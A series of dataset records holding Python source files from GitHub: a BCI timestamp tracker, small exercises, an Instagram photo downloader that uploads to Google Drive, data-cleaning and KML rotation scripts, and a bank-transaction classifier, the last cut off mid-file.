\"C:\\\\Users\\\\Developer\\\\Downloads\\\\mark\\\\mindaffectBCI_brainflow_200911_1339.txt\" \n #savefile = \"C:/Users/Developer/Downloads/khash/mindaffectBCI_brainflow_ipad_200908_1938.txt\"\n from mindaffectBCI.decoder.offline.read_mindaffectBCI import read_mindaffectBCI_messages\n from mindaffectBCI.utopiaclient import DataPacket\n print(\"Loading: {}\".format(savefile))\n msgs = read_mindaffectBCI_messages(savefile,regress=None) # load without time-stamp fixing.\n dp = [ m for m in msgs if isinstance(m,DataPacket)]\n nsc = np.array([ (m.samples.shape[0],m.sts,m.timestamp) for m in dp])\n X = np.cumsum(nsc[:,0])\n Y = nsc[:,1]\n Ytrue = nsc[:,2]\n\n ltt = linear_trend_tracker(1000)\n ltt.fit(X[0],Y[0]) # check scalar inputs\n step = 1\n idxs = list(range(1,X.shape[0],step))\n ab = np.zeros((len(idxs),2))\n print(\"{}) a={} b={}\".format('true',a,b))\n dts = np.zeros((Y.shape[0],))\n dts[0] = ltt.getY(X[0])\n for i,j in enumerate(idxs):\n dts[j:j+step] = ltt.transform(X[j:j+step],Y[j:j+step])\n ab[i,:] = (ltt.a,ltt.b)\n yest = ltt.getY(X[j])\n err = yest - Y[j]\n if abs(err)> 1000:\n print(\"{}) argh! yest={} ytrue={} err={}\".format(i,yest,Ytrue[j],err))\n if i < 100:\n print(\"{:4d}) a={:5f} b={:5f}\\ty_est-y={:2.5f}\".format(j,ab[i,0],ab[i,1],\n Y[j]-yest))\n\n import matplotlib.pyplot as plt\n ab,res,_,_ = np.linalg.lstsq(np.append(X[:,np.newaxis],np.ones((X.shape[0],1)),1),Y,rcond=-1)\n ots = X*ab[0]+ab[1] \n idx=range(X.shape[0])\n plt.plot(X[idx],Y[idx]- X[idx]*ab[0]-Y[0],label='server ts')\n plt.plot(X[idx],dts[idx] - X[idx]*ab[0]-Y[0],label='regressed ts (samp vs server)')\n plt.plot(X[idx],ots[idx] - X[idx]*ab[0]-Y[0],label='regressed ts (samp vs server) offline')\n\n err = Y - X*ab[0] - Y[0]\n cent = np.median(err); scale=np.median(np.abs(err-cent))\n plt.ylim((cent-scale*5,cent+scale*5))\n\n plt.legend()\n plt.show()\n\nif __name__ == \"__main__\":\n linear_trend_tracker.testcase('-')\n","repo_name":"mindaffect/pymindaffectBCI","sub_path":"mindaffectBCI/decoder/linear_trend_tracker.py","file_name":"linear_trend_tracker.py","file_ext":"py","file_size_in_byte":7240,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"70"} +{"seq_id":"44859743752","text":"ball = input(\"Enter String: \")\r\n\r\ncount = 0\r\nwordCount = 0\r\n\r\nfor i in ball:\r\n count = count + 1\r\n if(i == ''):\r\n wordCount = wordCount + 1\r\n\r\nprint (\"Number of Words in the String\")\r\nprint (wordCount)\r\n\r\nprint (\"Number of Charactors in the String including Space\")\r\nprint (count)","repo_name":"Ajk665/Test","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"16929406591","text":"import pyttsx3\r\nimport serial\r\n#import times\r\n#import datetime\r\nimport pyautogui\r\n#import pyaudio\r\n#import re\r\nimport speech_recognition as sr\r\n\r\nArduinoSerial = serial.Serial(port='com5', baudrate=9600)\r\n\r\nwhile 1:\r\n incoming = str(ArduinoSerial.readline())\r\n print(incoming)\r\n\r\n if 'Rewind' in incoming:\r\n print(\"Running\")\r\n engine = pyttsx3.init()\r\n engine.say(\"Welcome to Poddar International College\")\r\n engine.runAndWait()\r\n\r\n r = sr.Recognizer()\r\n with sr.Microphone() as source:\r\n print(\"Listening...\")\r\n r.pause_threshold = 1\r\n audio = r.listen(source)\r\n\r\n try:\r\n print(\"Recognizing...\")\r\n query = r.recognize_google(audio, language='en-uk')\r\n print(f\"User said: {query}\\n\")\r\n\r\n except Exception as e:\r\n\r\n speak(\"Say that again please...\")\r\n # return \"None\"\r\n # return query\r\n\r\n if __name__ == \"__main__\":\r\n wishMe()\r\n while True:\r\n\r\n query = takeCommand().lower()\r\n\r\n if 'Hello' in query:\r\n speak('Hello')\r\n\r\n if 'Forward' in incoming:\r\n pyautogui.hotkey('ctrl', 'right')\r\n\r\n incoming = \"\"\r\n","repo_name":"SachinDeora/Pythoncodes","sub_path":"rs.py","file_name":"rs.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"35961304617","text":"class Solution:\n def solveNQueens(self, n: int) -> List[List[str]]:\n board = [[\".\"] * n for _ in range(n)]\n answer = []\n self.backTrack(0, board, answer, n)\n return answer\n \n def backTrack(self, col, board, answer, n):\n if col == n:\n current = []\n for r in board:\n current.append(\"\".join(r))\n answer.append(current)\n return\n for row in range(n):\n if self.checkQueen(row, col, board, n):\n board[row][col] = 'Q'\n self.backTrack(col + 1, board, answer, n)\n board[row][col] = '.'\n def checkQueen(self, row, col, board, n):\n for i in range(n):\n if board[row][i] == 'Q' or board[i][col] == 'Q':\n return False\n left_top_row, left_top_col = row - min(row, col), col - min(row, col)\n while left_top_row < n and left_top_col < n:\n if board[left_top_row][left_top_col] == 'Q':\n return False\n left_top_row += 1\n left_top_col += 1\n # right_top_row, right_top_col = row - (n - 1 - col), col + (n - 1 - col) PROBLEMATIC\n change = min(row, n - 1 - col)\n right_top_row, right_top_col = row - change, col + change\n while right_top_row < n and right_top_col >= 0:\n if board[right_top_row][right_top_col] == 'Q':\n return False\n right_top_row += 1\n right_top_col -= 1\n return True\n ","repo_name":"BrukMak/Compititive-Programming-","sub_path":"0051-n-queens/0051-n-queens.py","file_name":"0051-n-queens.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"26420950453","text":"from pydrive.auth import GoogleAuth\nfrom pydrive.drive import GoogleDrive\nimport os\nimport csv\nimport pandas as pd\nimport time\nfrom datetime import datetime\nimport pygsheets\nfrom time import sleep\nfrom urllib.request import urlretrieve\nimport dotenv\nfrom pathlib import Path # python3 only\nfrom insta_bot import *\nfrom selenium import webdriver\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.common.exceptions import TimeoutException\n\ndef week_of_month(dt):\n \"\"\" Returns the week of the month for the specified date.\n \"\"\"\n\n first_day = dt.replace(day=1)\n\n dom = dt.day\n adjusted_dom = dom + first_day.weekday()\n\n return int(ceil(adjusted_dom/7.0))\n\n\ndef find_posts(driver, user_name):\n print(\"Listing posts of @{}...\".format(user_name))\n driver.get(\"https://www.instagram.com/\" + user_name)\n try:\n title = driver.find_element_by_css_selector(\".-vDIg h1\").text\n print(title)\n except Exception as ee:\n print(ee)\n pass\n imgLinks = []\n c = 0\n while len(imgLinks) < 36:\n try:\n c = c + 1\n if c > 50:\n break\n if not explicit_wait(driver, \"VOEL\", ['.v1Nh3 a', \"CSS\"], logger, 5, notify=False):\n continue\n imgList = driver.find_elements_by_css_selector(\".v1Nh3 a\")\n for idx, img in enumerate(imgList):\n _link = img.get_property(\"href\")\n if not _link in imgLinks:\n imgLinks.append(_link)\n print(\"> \" + str(len(imgLinks)) + \" post collected.\", \"\\r\")\n driver.execute_script(\"window.scrollTo(0, document.body.scrollHeight);\")\n sleep(2)\n\n except Exception as e1:\n print(e1)\n\n # print(\"> \" + str(len(imgLinks)) + \" post collected.\", \"\\r\")\n return imgLinks\n\n\n# Download all pictures | return : 0 or Total_Downloaded_Photo_Number\ndef download_photos(driver, user_name, download_path, logger, total_number=12):\n downloaded_number = 0\n imgLinks = find_posts(driver, user_name)\n while downloaded_number < total_number:\n for idx, link in enumerate(imgLinks):\n # Go To Link\n driver.get(link)\n # Get Photo Taken Date\n # time = driver.find_element_by_tag_name(\"time\").get_attribute(\"datetime\").split(\"T\")[0] + \"_\"\n\n # If page has many photos\n try:\n # 0: image, 1: video\n download_type = None\n img_xp = read_xpath('get_source_link', \"image\")\n video_xp = read_xpath('get_source_link', \"video\")\n if explicit_wait(driver, \"VOEL\", [img_xp, \"XPath\"], logger, 5, notify=False):\n tags = driver.find_elements_by_xpath(img_xp)\n download_type = 0\n else:\n if explicit_wait(driver, \"VOEL\", [video_xp, \"XPath\"], logger, 5, notify=False):\n tags = driver.find_elements_by_xpath(video_xp)\n download_type = 1\n else:\n continue\n if download_type == 0:\n for i in range(len(tags)):\n link = tags[i].get_attribute(\"srcset\").split(\",\")[0]\n if link == '':\n continue\n link = link.split(\" \")[0]\n file_name = str(downloaded_number+1) + \" @\" + user_name + '.jpg'\n path = os.path.join(download_path, file_name)\n urlretrieve(link, path)\n print(\"> \" + str(downloaded_number+1) + \" / \" + str(total_number) + \" downloaded jpg\")\n downloaded_number += 1\n if downloaded_number == total_number:\n print(\"$ Download Completed. username: \" + '@'+user_name)\n return downloaded_number\n elif download_type == 1:\n for i in range(len(tags)):\n link = tags[i].get_attribute(\"src\")\n if link == '':\n continue\n file_name = str(downloaded_number + 1) + \" @\" + user_name + '.mp4'\n path = os.path.join(download_path, file_name)\n urlretrieve(link, path)\n print(\"> \" + str(downloaded_number + 1) + \" / \" + str(total_number) + \" downloaded video\")\n downloaded_number += 1\n if downloaded_number == total_number:\n print(\"$ Download Completed. username: \" + '@' + user_name)\n return downloaded_number\n\n # If page has single photo\n except Exception as e:\n print(e)\n pass\n\n print(\"-------------------------------\")\n\n\n return 0\n\ndef upload_2_google(drive, pic_user_path, tgt_folder_id):\n\n for r, d, f in os.walk(pic_user_path):\n for file in f:\n file_path = os.path.join(r, file)\n # with open(file_path, \"r\") as f:\n # fn = os.path.basename(f.name)\n file_drive = drive.CreateFile({'title': file, \"parents\": [{\"kind\": \"drive#fileLink\", \"id\": tgt_folder_id}]})\n # f_content = f.read()\n file_drive.SetContentFile(file_path)\n file_drive.Upload()\n print(\"The file: \" + file + \" has been uploaded\")\n\n\ndef create_user_folder(drive, folderName, parentID=None):\n exist_folder_list = drive.ListFile({'q': \"'%s' in parents and trashed=false\" % parentID}).GetList()\n\n sub_folder_id = None\n sub_folder_title = None\n for exist_folder in exist_folder_list:\n if exist_folder['title'] == '@'+folderName:\n sub_folder_id = exist_folder['id']\n sub_folder_title = exist_folder['title']\n exist_file_list = drive.ListFile({'q': \"'%s' in parents and trashed=false\" % sub_folder_id}).GetList()\n for exist_file in exist_file_list:\n file1 = drive.CreateFile({'id': exist_file['id']})\n file1.Trash() # Move file to trash.\n file1.UnTrash() # Move file out of trash.\n file1.Delete()\n break\n # Create folder\n if not sub_folder_id:\n body = {'title': '@'+folderName, 'mimeType': 'application/vnd.google-apps.folder'}\n if parentID:\n body['parents'] = [{'id': parentID}]\n folder = drive.CreateFile(body)\n folder.Upload()\n # Get folder info and print to screen\n sub_folder_title = folder['title']\n sub_folder_id = folder['id']\n print('created user folder. title: %s, id: %s' % (sub_folder_title, sub_folder_id))\n return sub_folder_id\n\n\ndef create_category_folder(drive, folderName, parentID=None):\n exist_folder_list = drive.ListFile({'q': \"'%s' in parents and trashed=false\" % parentID}).GetList()\n folderid = None\n foldertitle = None\n for exist_folder in exist_folder_list:\n if exist_folder['title'] == folderName:\n folderid = exist_folder['id']\n foldertitle = exist_folder['title']\n\n # Create folder\n if not folderid:\n body = {'title': folderName, 'mimeType': 'application/vnd.google-apps.folder'}\n if parentID:\n body['parents'] = [{'id': parentID}]\n folder = drive.CreateFile(body)\n folder.Upload()\n # Get folder info and print to screen\n foldertitle = folder['title']\n folderid = folder['id']\n print('created category folder. title: %s, id: %s' % (foldertitle, folderid))\n return folderid\n\n\ndef check_and_create_folder(drive, folder_name, parentID):\n exist_folder_list = drive.ListFile({'q': \"'%s' in parents and trashed=false\" % parentID}).GetList()\n for exist_folder in exist_folder_list:\n if exist_folder['title'] == folder_name:\n return exist_folder['id']\n body = {'title': folder_name, 'mimeType': 'application/vnd.google-apps.folder'}\n if parentID:\n body['parents'] = [{'id': parentID}]\n folder = drive.CreateFile(body)\n folder.Upload()\n folder_id = folder['id']\n print('created one folder. title: %s, id: %s' % (folder_name, folder_id))\n return folder_id\n\n\ndef create_week_folder(drive, year, month, week, parentID):\n week_folder_id = parentID\n for f in (year, month, week):\n try:\n week_folder_id = check_and_create_folder(drive, f, week_folder_id)\n except Exception as e:\n print(e)\n pass\n return week_folder_id\n\nif __name__ == '__main__':\n\n while True:\n # --- input parameters ---\n df_settings = pd.read_csv('settings.csv')\n insta_username = '' if pd.isna(df_settings.iloc[0, 0]) else df_settings.iloc[0, 0].strip()\n insta_password = '' if pd.isna(df_settings.iloc[0, 1]) else df_settings.iloc[0, 1].strip()\n google_main_folder_id = '' if pd.isna(df_settings.iloc[0, 2]) else df_settings.iloc[0, 2].strip()\n google_sheet_id = '' if pd.isna(df_settings.iloc[0, 3]) else df_settings.iloc[0, 3].strip()\n weekly_work_date_num = 0 if pd.isna(df_settings.iloc[0, 4]) else int(df_settings.iloc[0, 4])\n weekly_work_hour = 0 if pd.isna(df_settings.iloc[0, 5]) else int(df_settings.iloc[0, 5])\n repeat_time = 1 if pd.isna(df_settings.iloc[0, 6]) else df_settings.iloc[0, 6]\n print('-------settings value----------')\n print('weekly_work_date_num: {}'.format(weekly_work_date_num))\n print('weekly_work_hour: {}'.format(weekly_work_hour))\n print('-------------------------------')\n driver_location = \"./chromedriver\"\n headless = False\n log_location = './logs'\n show_logs = False\n fmt = '%Y-%m-%d %H:%M:%S %Z%z'\n work_day = weekly_work_date_num\n work_hour = weekly_work_hour\n\n naive_dt = datetime.now()\n\n present_day = naive_dt.weekday()\n\n present_hour = naive_dt.hour\n print('-------present value----------')\n print('present_day: {}'.format(present_day))\n print('present_hour: {}'.format(present_hour))\n print('------------------------------')\n # check time to start working module\n if present_day == weekly_work_date_num and present_hour == weekly_work_hour:\n print(\"matched condition, start working!!!!\")\n print('present_time: {}'.format(naive_dt.strftime(fmt)))\n weekOfMonth = week_of_month(naive_dt)\n current_month = naive_dt.strftime(\"%B\")\n current_year = naive_dt.year\n print(\"week of month : {}\".format(weekOfMonth))\n # ----------------\n users = []\n gc = pygsheets.authorize(client_secret='client_secrets.json')\n sh = gc.open_by_key(google_sheet_id)\n # sh = gc.open('Instagram - Web Scrapping')\n wks = sh.sheet1\n df = wks.get_as_df()\n current_week = 'Week ' + str(weekOfMonth)\n week_df = df[df['Week_Month'].isin([current_week])]\n month_df = week_df[week_df['Month'].isin([current_month])]\n work_df = month_df[month_df['Year'].isin([current_year])]\n\n if work_df.empty:\n continue\n print('--------users working this week-----')\n print(work_df)\n print('user counts: {}'.format(len(work_df)))\n print('-----------------------------------')\n gauth = GoogleAuth()\n gauth.DEFAULT_SETTINGS['client_config_file'] = \"client_secrets.json\"\n # Try to load saved client credentials\n gauth.LoadCredentialsFile(\"mycreds.json\")\n if gauth.credentials is None:\n # Authenticate if they're not there\n gauth.LocalWebserverAuth()\n elif gauth.access_token_expired:\n # Refresh them if expired\n gauth.Refresh()\n else:\n # Initialize the saved creds\n gauth.Authorize()\n # Save the current credentials to a file\n gauth.SaveCredentialsFile(\"mycreds.json\")\n\n drive = GoogleDrive(gauth)\n logger = create_logger(log_location, insta_username)\n driver, err_msg = create_driver(driver_location=driver_location, logger=logger, proxy=None, headless=headless)\n\n if not driver:\n continue\n\n if not insta_username == '':\n logged_in, message = login_user(driver,\n insta_username,\n insta_password,\n logger,\n log_location)\n if not logged_in:\n highlight_print(insta_username,\n message,\n \"login\",\n \"critical\",\n logger)\n else:\n message = \"Logged in successfully!\"\n highlight_print(insta_username,\n message,\n \"login\",\n \"info\",\n logger)\n try:\n for user_number in range(len(work_df)):\n user_name = work_df.iloc[user_number, 0].split('@')[1]\n download_path = './images'\n # download_path = str(current_year) + '/' +str(current_month)+ '/' + current_week + '/' + work_df.iloc[user_number, 3] + \"/\" + user_name\n if not os.path.exists(download_path):\n os.makedirs(download_path)\n else:\n for root, dirs, files in os.walk(download_path):\n for file in files:\n os.remove(os.path.join(root, file))\n week_folder_id = create_week_folder(drive, str(current_year), str(current_month), str(current_week), google_main_folder_id)\n category_folder_id = create_category_folder(drive, work_df.iloc[user_number, 3], week_folder_id)\n user_folder_id = create_user_folder(drive, user_name, category_folder_id)\n download_photos(driver, user_name, download_path, logger, 12)\n upload_2_google(drive, download_path, user_folder_id)\n print('completed {}/{}'.format(user_number+1, len(work_df)))\n except Exception as e:\n print(e)\n pass\n driver.close()\n\n time.sleep(60*repeat_time)\n","repo_name":"dmitry344/instagram-5","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"19755918632","text":"import sys\nimport pandas as pd\nimport numpy as np\nfrom sqlalchemy import create_engine\n\n\ndef load_data(messages_filepath, categories_filepath):\n messages = pd.read_csv(messages_filepath)\n categories = pd.read_csv(categories_filepath)\n \n return messages.merge(categories, how='left', on=['id'])\n\n\ndef clean_data(df):\n \n #creating dataframe with 36 individual columns for each of the categories\n categories = df.categories.str.split(\";\", expand=True)\n \n #selecting first row to get data for processing in order to change naming of the columns\n row = categories.loc[[0]]\n \n #creating colum names\n category_columns = [row[x].str.split('-')[0][0] for x in row]\n categories.columns = category_columns #setting proper column names\n\n categories.related = categories.related.apply(lambda x: 'related-1' if 'related-2' in x else x)\n \n #converting strings into numbers (the values looks like 'aid-1' so it makes is just 1') and the convert into integers\n for column in categories:\n categories[column] = categories[column].apply(lambda x: x[-1])\n categories[column] = categories[column].astype(int)\n \n df.drop(columns=['categories'], inplace=True)\n \n df = pd.concat([df, categories], axis=1)\n \n df.drop_duplicates(inplace=True)\n \n return df\n \n\n\ndef save_data(df, database_filename):\n engine = create_engine('sqlite:///'+database_filename)\n df.to_sql('DisasterResponse', engine, index=False, if_exists='replace')\n\n\ndef main():\n if len(sys.argv) == 4:\n\n messages_filepath, categories_filepath, database_filepath = sys.argv[1:]\n\n print('Loading data...\\n MESSAGES: {}\\n CATEGORIES: {}'\n .format(messages_filepath, categories_filepath))\n df = load_data(messages_filepath, categories_filepath)\n\n print('Cleaning data...')\n df = clean_data(df)\n \n print('Saving data...\\n DATABASE: {}'.format(database_filepath))\n save_data(df, database_filepath)\n \n print('Cleaned data saved to database!')\n \n else:\n print('Please provide the filepaths of the messages and categories '\\\n 'datasets as the first and second argument respectively, as '\\\n 'well as the filepath of the database to save the cleaned data '\\\n 'to as the third argument. \\n\\nExample: python process_data.py '\\\n 'disaster_messages.csv disaster_categories.csv '\\\n 'DisasterResponse.db')\n\n\nif __name__ == '__main__':\n main()","repo_name":"Soundoffear/DS_Nano_Disaster_response","sub_path":"data/process_data.py","file_name":"process_data.py","file_ext":"py","file_size_in_byte":2542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"86637250516","text":"import math as m\nimport sys\nimport xml.etree.ElementTree as ET\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nif len(sys.argv) > 1:\n filepath = str(sys.argv[1])\nelse:\n print(\"USAGE: python rotator.py KMLFile\")\n\n\neRadius = 6731000\nwps = []\n\n#Steps trought tree to find all placemarks\ndef iterTree(element):\n for child in element:\n\n if \"Point\" in child.tag:\n wps.append(parsePoint(child))\n iterTree(child)\n\n\n\n#Gets coords and name from placemark\ndef parsePoint(point):\n lat = \"\"\n long = \"\"\n for child in point:\n if \"coordinates\" in child.tag:\n cord = child.text\n lat = cord.split()[0].split(',')[1]\n long = cord.split()[0].split(',')[0]\n\n\n\n return np.array([float(lat),float(long)])\n\n\ndef latLong2Cartes (cord):\n\n r = eRadius\n lat = m.radians(float(cord[0]))\n #print (\"lat\", lat)\n long = m.radians(float(cord[1]))\n #print(\"long\", long)\n x = r*m.sin(lat)*m.cos(long)\n #print(\"x\" ,x)\n y = r*m.sin(lat)*m.sin(long)\n #print(\"y\", y)\n z = r*m.cos(lat)\n #print(\"z\", z)\n #print (\"\")\n return np.array([x,y,z])\n\n\n\n\ndef cartes2latLong(cord):\n r = eRadius\n x = cord[0]\n y = cord[1]\n z = np.sqrt(np.square(x)+np.square(y))\n lat = m.degrees(m.asin(z/r))\n if x == 0:\n long = 90\n else:\n long = m.degrees(m.atan(y/x))\n return np.array([lat,long])\n\n\n\n\n\ndef getCentroid(cords):\n xSum = 0\n ySum = 0\n for cord in cords:\n xSum = xSum + cord[0]\n ySum = ySum + cord[1]\n Ux = xSum/len(cords)\n Uy = ySum/len(cords)\n return np.array([Ux, Uy])\n\n\ndef rotateCoords (cords, middle, degree):\n rotadedCords = []\n rotRad = m.radians(degree)\n for cord in cords:\n\n zcord = cord - middle\n # print(\"lat \", cord[0], \" long \",cord[1] )\n radius = np.sqrt(np.square(zcord[0])+ np.square(zcord[1]))\n if zcord[1] == 0:\n angle = np.pi/2\n elif zcord[1] < 0:\n angle = np.arctan(zcord[0] / zcord[1]) + np.pi\n else:\n angle = np.arctan(zcord[0] / zcord[1])\n\n # print(\"angle \", np.degrees(angle))\n rotLat = radius*np.sin(angle+rotRad)+middle[0]\n rotLong = radius*np.cos(angle+rotRad)+middle[1]\n # print(\"rotlat \", rotLat, \" rotlong \", rotLong)\n rotadedCords.append(np.array([rotLat,rotLong]))\n # print(\"\")\n return rotadedCords\n\ndef addFolder(root, name = \"NONAME\"):\n document = list(root)[0]\n startTag = document.tag.replace(\"Document\", \"\")\n tag = startTag+\"Folder\"\n folder = ET.SubElement(document, tag)\n folder.text = '\\n '\n folder.tail = '\\n'\n tag = startTag+\"name\"\n nameElement = ET.SubElement(folder, tag)\n nameElement.text = name\n nameElement.tail = '\\n '\n return folder\n\n\ndef addPlacemarkToFolder(folder, nameStr, latLong):\n startTag = folder.tag.replace(\"Folder\", \"\")\n tag = startTag+\"Placemark\"\n placemark = ET.SubElement(folder, tag)\n tag = startTag +\"name\"\n name = ET.SubElement(placemark,tag)\n name.text = nameStr\n tag = startTag + \"styleUrl\"\n style = ET.SubElement(placemark,tag)\n style.text = \"# icon-1899-0288D1-nodesc\"\n tag = startTag +\"Point\"\n point = ET.SubElement(placemark, tag)\n tag = startTag +\"coordinates\"\n coords = ET.SubElement(point,tag)\n coords.text = latLong2XmlStr(latLong)\n\ndef latLong2XmlStr (latLogn):\n return str(latLogn[1])+\",\"+str(latLogn[0])+\",0\"\n\n\ndef main():\n np.set_printoptions(suppress=True)\n tree = ET.parse(filepath)\n root = tree.getroot()\n iterTree(root)\n newFolder = addFolder(root)\n print(wps)\n cartWps = []\n for wp in wps:\n cartWps.append(latLong2Cartes(wp))\n\n U = getCentroid(cartWps)\n\n\n plt.close('all')\n\n\n\n fig, axs = plt.subplots()\n\n UlatLong = cartes2latLong(U)\n print(\"U latlong \", UlatLong)\n\n lapNr = 1\n for n in range(20,360, 20):\n lapNr+=1\n rotCords = rotateCoords(wps, UlatLong, n)\n pointNr = 0\n for cord in rotCords:\n pointNr += 1\n\n axs.plot(cord[1], cord[0], 'ro')\n addPlacemarkToFolder(newFolder,\"rot\"+str(lapNr)+str(pointNr), cord)\n\n for i in range(len(cartWps)):\n\n ucwp = wps[i]# - UlatLong\n\n axs.plot(ucwp[1], ucwp[0], 'yo')\n axs.plot(UlatLong[1], UlatLong[0], 'bo')\n #axs.plot(0,0,'bo')\n axs.axis('equal')\n plt.show()\n\n\n\n newFile = \"rotatedWPS.kml\"\n tree.write(newFile, encoding=\"utf-8\", xml_declaration=True, method=\"xml\")\n file = open(newFile, 'r')\n rawText = file.read()\n file.close()\n rawText = rawText.replace(\"ns0:\", \"\")\n print(rawText)\n file = open(newFile, 'w')\n file.write(rawText)\n file.close()\n\n\nmain()\n\n","repo_name":"AlandSailingRobots/Tools","sub_path":"kmlManipulation/rotator.py","file_name":"rotator.py","file_ext":"py","file_size_in_byte":4709,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"70"} +{"seq_id":"2566547097","text":"import re\nimport dateutil\nimport os\n\nimport pandas as pd\nfrom textblob.classifiers import NaiveBayesClassifier\n#from colorama import init, Fore, Style\nfrom tabulate import tabulate\n\nclass BankClassify():\n\n #def __init__(self, data=\"AllData1.csv\"):\n def __init__(self, data=\"Transactions.csv\"):\n \"\"\"Load in the previous data (by default from AllData.csv) and initialise the classifier\"\"\"\n if os.path.exists(data):\n self.prev_data = pd.read_csv(data)\n else:\n self.prev_data = pd.DataFrame(columns=['date', 'desc', 'amount', 'cat'])\n\n self.classifier = NaiveBayesClassifier(self._get_training(self.prev_data), self._extractor)\n\n def add_data(self, filename):\n \"\"\"Add new data and interactively classify it.\n\n Arguments:\n - filename: filename of Santander-format file\n \"\"\"\n #self.new_data = self._read_santander_file(filename)\n self.new_data = self._read_own_file(filename)\n\n self._ask_with_guess(self.new_data)\n\n self.prev_data = pd.concat([self.prev_data, self.new_data])\n #self.prev_data.to_csv(\"AllData1.csv\", index=False)\n self.prev_data.to_csv(\"Transactions.csv\", index=False)\n\n def _prep_for_analysis(self):\n \"\"\"Prepare data for analysis in pandas, setting index types and subsetting\"\"\"\n self.prev_data = self._make_date_index(self.prev_data)\n\n self.prev_data['cat'] = self.prev_data['cat'].str.strip()\n\n self.inc = self.prev_data[self.prev_data.amount > 0]\n self.out = self.prev_data[self.prev_data.amount < 0]\n self.out.amount = self.out.amount.abs()\n\n self.inc_noignore = self.inc[self.inc.cat != 'Ignore']\n self.inc_noexpignore = self.inc[(self.inc.cat != 'Ignore') & (self.inc.cat != 'Expenses')]\n\n self.out_noignore = self.out[self.out.cat != 'Ignore']\n self.out_noexpignore = self.out[(self.out.cat != 'Ignore') & (self.out.cat != 'Expenses')]\n\n def _read_categories(self):\n \"\"\"Read list of categories from categories.txt\"\"\"\n categories = {}\n\n with open('categories.txt') as f:\n #with open('categories1.txt') as f:\n for i, line in enumerate(f.readlines()):\n categories[i] = line.strip()\n\n return categories\n\n def _add_new_category(self, category):\n \"\"\"Add a new category to categories.txt\"\"\"\n #with open('categories1.txt', 'a') as f:\n with open('categories.txt', 'a') as f:\n\n f.write('\\n' + category)\n\n def _ask_with_guess(self, df):\n \"\"\"Interactively guess categories for each transaction in df, asking each time if the guess\n is correct\"\"\"\n # Initialise colorama\n #init()\n\n df['cat'] = \"\"\n\n categories = self._read_categories()\n\n for index, row in df.iterrows():\n\n # Generate the category numbers table from the list of categories\n cats_list = [[idnum, cat] for idnum, cat in categories.items()]\n cats_table = tabulate(cats_list)\n\n stripped_text = self._strip_numbers(row['desc'])\n\n # Guess a category using the classifier (only if there is data in the classifier)\n if len(self.classifier.train_set) > 1:\n guess = self.classifier.classify(stripped_text)\n else:\n guess = \"\"\n\n\n # Print list of categories\n print(chr(27) + \"[2J\")\n print(cats_table)\n print(\"\\n\\n\")\n # Print transaction\n print(\"On: %s\\t %.2f\\n%s\" % (row['date'], row['amount'], row['desc']))\n #print(Fore.RED + Style.BRIGHT + \"My guess is: \" + str(guess) + Fore.RESET)\n print(\"My guess is: \"+ str(guess))\n\n\n input_value = input(\"> \")\n\n if input_value.lower() == 'q':\n # If the input was 'q' then quit\n return df\n if input_value == \"\":\n # If the input was blank then our guess was right!\n df.ix[index, 'cat'] = guess\n self.classifier.update([(stripped_text, guess)])\n else:\n # Otherwise, our guess was wrong\n try:\n # Try converting the input to an integer category number\n # If it works then we've entered a category\n category_number = int(input_value)\n category = categories[category_number]\n except ValueError:\n # Otherwise, we've entered a new category, so add it to the list of\n # categories\n category = input_value\n self._add_new_category(category)\n categories = self._read_categories()\n\n # Write correct answer\n df.ix[index, 'cat'] = category\n # Update classifier\n self.classifier.update([(stripped_text, category) ])\n\n return df\n\n def _make_date_index(self, df):\n \"\"\"Make the index of df a Datetime index\"\"\"\n df.index = pd.DatetimeIndex(df.date.apply(dateutil.parser.parse,dayfirst=True))\n\n return df\n\n \n def _read_own_file(self, filename):\n\n with open(filename, errors='replace') as f:\n lines= f.readlines()\n\n dates = []\n descs = []\n amounts = []\n\n\n ############# FUNCTION TO CHECK IF A STRING IS A VALID NUMBER:\n def is_number(s):\n try:\n float(s)\n return True\n except ValueError:\n return False\n\n for line in lines[3:]:\n s = line.replace(' ', '')\n s = line.split()\n dates.append(\" \".join(s[0:2]))\n amounts.append(s[-1].replace(',',''))\n descs.append(\" \".join(s[2:-1]))\n\n\n\n\n ##########################IF FEDERAL BANK:\n\n # \n #\n # for line in lines[10:-1]:\n #\n # splitted = line.split('|')\n # s= line.split('TFR ')\n # s1 = s[1].split(' ')\n # #print(amts)\n # dates.append(splitted[0])\n # descs.append(splitted[2])\n # amounts.append(s1[0])\n #\n # ########################IF AXIS BANK:\n #\n # \n # for line in lines[10:-1]:\n # s= line.replace(' ','')\n # s= line.split()\n # dates.append(s[0])\n # descs.append(\" \".join(s[1:-3]))\n # amounts.append(s[-3].replace(',',''))\n #\n # ######################## IF CITI BANK:\n #\n # \n # for line in lines[5:-1]:\n # s = line.replace(' ', '')\n # s = line.split()\n # dates.append(s[0])\n # if is_number(s[-2]):\n # amounts.append(s[-2])\n # elif is_number(s[-3]):\n # amounts.append(s[-3])\n # else:\n # amounts.append(s[-1])\n #\n # pattern = '[A-Za-z]+'\n # s1 = \" \".join(s)\n # d=re.findall(pattern, s1)\n # descs.append(\" \".join(d[1:]))\n #\n # ############################## IF HDFC BANK:\n #\n # elif filename== 'AccDetails4.txt':\n # for line in lines[9:-3]:\n # s=line.replace(' ','')\n # s=line.split()\n # dates.append(s[0])\n # amounts.append(s[-2].replace(',',''))\n # descs.append((\" 